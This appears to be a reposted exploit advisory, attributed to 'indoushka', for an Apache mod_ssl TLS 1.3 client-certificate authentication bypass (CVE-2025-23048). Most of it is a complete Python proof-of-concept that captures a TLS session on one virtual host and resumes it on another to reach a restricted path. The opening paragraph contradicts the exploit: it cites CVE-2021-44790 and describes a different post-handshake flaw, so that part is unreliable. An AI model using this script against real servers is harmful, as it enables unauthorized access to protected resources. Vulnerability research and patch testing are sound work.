The Apache `mod_ssl` TLS 1.3 Client Certificate Authentication Bypass (CVE-2021-44790) The Apache `mod_ssl` TLS 1.3 Client Certificate Authentication Bypass (CVE-2021-44790) allowed unauthorized access.
It affected servers configured with `SSLVerifyClient require` under TLS 1.3.
TLS 1.3 introduced post-handshake authentication, allowing the server to request a client certificate *after* the initial handshake.
The vulnerability was that `mod_ssl` only evaluated the `SSLVerifyClient require` directive during the *initial* handshake.
If a client initially omitted a certificate, `mod_ssl` would then issue a post-handshake request.
Crucially, `mod_ssl` failed to re-evaluate the `require` condition for this *second* certificate.
An attacker could provide *any* certificate (even invalid) in response to the post-handshake request.
This tricked `mod_ssl` into incorrectly granting access, bypassing the intended strong authentication.
The fix involved patching `mod_ssl` to correctly re-evaluate verification for post-handshake certificates.
=============================================================================================================================================
| # Title : Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://httpd.apache.org/docs/current/mod/mod_ssl.html |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/210763/ & CVE-2025-23048
[+] Summary : A flaw in Apache mod_ssl TLS 1.3 session resumption allows a client-authenticated TLS session to be resumed across different virtual hosts without re-validating
the client certificate or trusted CA configuration.
[+] Impact:
An attacker with a valid client certificate for one virtual host can gain
unauthorized access to another virtual host protected by a different CA.
[+] Attack Vector:
- TLS 1.3 Session Resumption
- Client Certificate Authentication
- Multiple Virtual Hosts
[+] Tested Environment:
- Apache HTTPD with mod_ssl
- TLS 1.3 enabled
- Client Certificate Authentication enabled
- Multiple vhosts with different CA trust stores
[+] POC :
#!/usr/bin/env python3
import ssl
import socket
import sys
import argparse
from typing import Optional, Tuple
import time
class CVE2025_23048_Exploit:
def __init__(self, host: str, port: int = 443):
self.host = host
self.port = port
self.session_data = None
def create_ssl_context(self,
certfile: Optional[str] = None,
keyfile: Optional[str] = None,
cafile: Optional[str] = None,
server_hostname: Optional[str] = None) -> ssl.SSLContext:
"""Create SSL context with specified parameters"""
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.minimum_version = ssl.TLSVersion.TLSv1_3
context.maximum_version = ssl.TLSVersion.TLSv1_3
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
if cafile:
context.load_verify_locations(cafile)
context.verify_mode = ssl.CERT_REQUIRED
if certfile and keyfile:
context.load_cert_chain(certfile, keyfile)
if server_hostname:
context.server_hostname = server_hostname
return context
def perform_full_handshake(self,
vhost: str,
certfile: str,
keyfile: str,
cafile: str) -> Tuple[bool, bytes]:
"""
Perform full TLS 1.3 handshake with client certificate
Returns: (success, session_data)
"""
print(f"[+] Performing full TLS 1.3 handshake with {vhost}")
context = self.create_ssl_context(
certfile=certfile,
keyfile=keyfile,
cafile=cafile,
server_hostname=vhost
)
try:
# Create socket and wrap with SSL
sock = socket.create_connection((self.host, self.port))
ssl_sock = context.wrap_socket(sock, server_hostname=vhost)
# Get session data for resumption
self.session_data = ssl_sock.session
# Test access
request = f"GET / HTTP/1.1\r\nHost: {vhost}\r\n\r\n"
ssl_sock.send(request.encode())
response = ssl_sock.recv(4096)
print(f"[*] Connected to {vhost}")
print(f"[*] HTTP Status: {response.decode().split('\\r\\n')[0]}")
print(f"[*] Session ticket captured: {self.session_data is not None}")
ssl_sock.close()
return True, self.session_data
except Exception as e:
print(f"[-] Error during full handshake: {e}")
return False, None
def resume_session(self,
vhost: str,
session_data: bytes,
cafile: Optional[str] = None,
protected_path: str = "/") -> bool:
"""
Resume TLS session to different vhost
Returns: True if bypass successful
"""
print(f"\n[+] Attempting session resumption to {vhost}")
context = self.create_ssl_context(
cafile=cafile,
server_hostname=vhost
)
try:
# Set the session for resumption
context.session = session_data
# Connect with session resumption
sock = socket.create_connection((self.host, self.port))
ssl_sock = context.wrap_socket(sock, server_hostname=vhost)
# Check if session was resumed
if ssl_sock.session_reused:
print(f"[!] SUCCESS: Session resumed to {vhost}")
# Try to access protected resource
request = f"GET {protected_path} HTTP/1.1\r\nHost: {vhost}\r\n\r\n"
ssl_sock.send(request.encode())
response = ssl_sock.recv(8192)
response_str = response.decode('utf-8', errors='ignore')
status_line = response_str.split('\r\n')[0]
print(f"[*] HTTP Response: {status_line}")
# Check if access was granted
if "200 OK" in status_line:
print(f"[!] CRITICAL: Unauthorized access successful!")
print(f"[!] Accessed {protected_path} on {vhost} without valid certificate")
# Extract some response content
if "Vhost2 Secret" in response_str or "Restricted" in response_str:
print(f"[!] Confirmed access to protected content!")
# Print snippet of response
lines = response_str.split('\r\n')
for line in lines[-10:]: # Last 10 lines
if line.strip():
print(f" Content: {line[:100]}...")
return True
else:
print(f"[-] Access denied: {status_line}")
return False
else:
print("[-] Session was not resumed (full handshake occurred)")
return False
except Exception as e:
print(f"[-] Error during session resumption: {e}")
return False
def exploit(self,
vhost1: str,
cert1: str,
key1: str,
ca1: str,
vhost2: str,
ca2: str,
protected_path: str = "/restricted/"):
"""
Complete exploitation chain
"""
print(f"""
??????????????????????????????????????????????????????????????????????????????????
? Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass By indoushka ?
??????????????????????????????????????????????????????????????????????????????????
Target: {self.host}:{self.port}
Vhost1: {vhost1} (Legitimate access with CA1)
Vhost2: {vhost2} (Should require CA2)
Protected Path: {protected_path}
""")
# Step 1: Authenticate to vhost1
print("\n" + "="*60)
print("STEP 1: Legitimate authentication to first vhost")
print("="*60)
success, session = self.perform_full_handshake(vhost1, cert1, key1, ca1)
if not success or not session:
print("[-] Failed to establish initial session")
return False
# Small delay
time.sleep(1)
# Step 2: Resume session to vhost2
print("\n" + "="*60)
print("STEP 2: Session resumption attack on second vhost")
print("="*60)
# Try with CA2 (should fail in proper validation)
# But with the vulnerability, session will be resumed without validation
bypass_success = self.resume_session(
vhost2,
session,
ca2, # This CA won't be properly checked during resumption
protected_path
)
# Try also without any CA file (shouldn't work but demonstrates the bug)
print("\n" + "="*60)
print("STEP 3: Testing without any CA validation")
print("="*60)
bypass_without_ca = self.resume_session(
vhost2,
session,
None, # No CA file at all
protected_path
)
if bypass_success or bypass_without_ca:
print("\n[!] EXPLOIT SUCCESSFUL!")
print("[!] Client certificate authentication was bypassed")
return True
else:
print("\n[-] Exploit failed")
return False
def main():
parser = argparse.ArgumentParser(
description="Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass By indoushka"
)
parser.add_argument("--host", required=True, help="Target Apache server IP")
parser.add_argument("--port", type=int, default=443, help="HTTPS port (default: 443)")
parser.add_argument("--vhost1", required=True, help="First virtual hostname")
parser.add_argument("--cert1", required=True, help="Client certificate for vhost1")
parser.add_argument("--key1", required=True, help="Client private key for vhost1")
parser.add_argument("--ca1", required=True, help="CA certificate for vhost1")
parser.add_argument("--vhost2", required=True, help="Second virtual hostname to attack")
parser.add_argument("--ca2", required=True, help="CA certificate that vhost2 should trust")
parser.add_argument("--path", default="/restricted/", help="Protected path on vhost2")
args = parser.parse_args()
# Check if required files exist
import os
for file in [args.cert1, args.key1, args.ca1, args.ca2]:
if not os.path.exists(file):
print(f"[-] File not found: {file}")
return
exploit = CVE2025_23048_Exploit(args.host, args.port)
exploit.exploit(
vhost1=args.vhost1,
cert1=args.cert1,
key1=args.key1,
ca1=args.ca1,
vhost2=args.vhost2,
ca2=args.ca2,
protected_path=args.path
)
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 122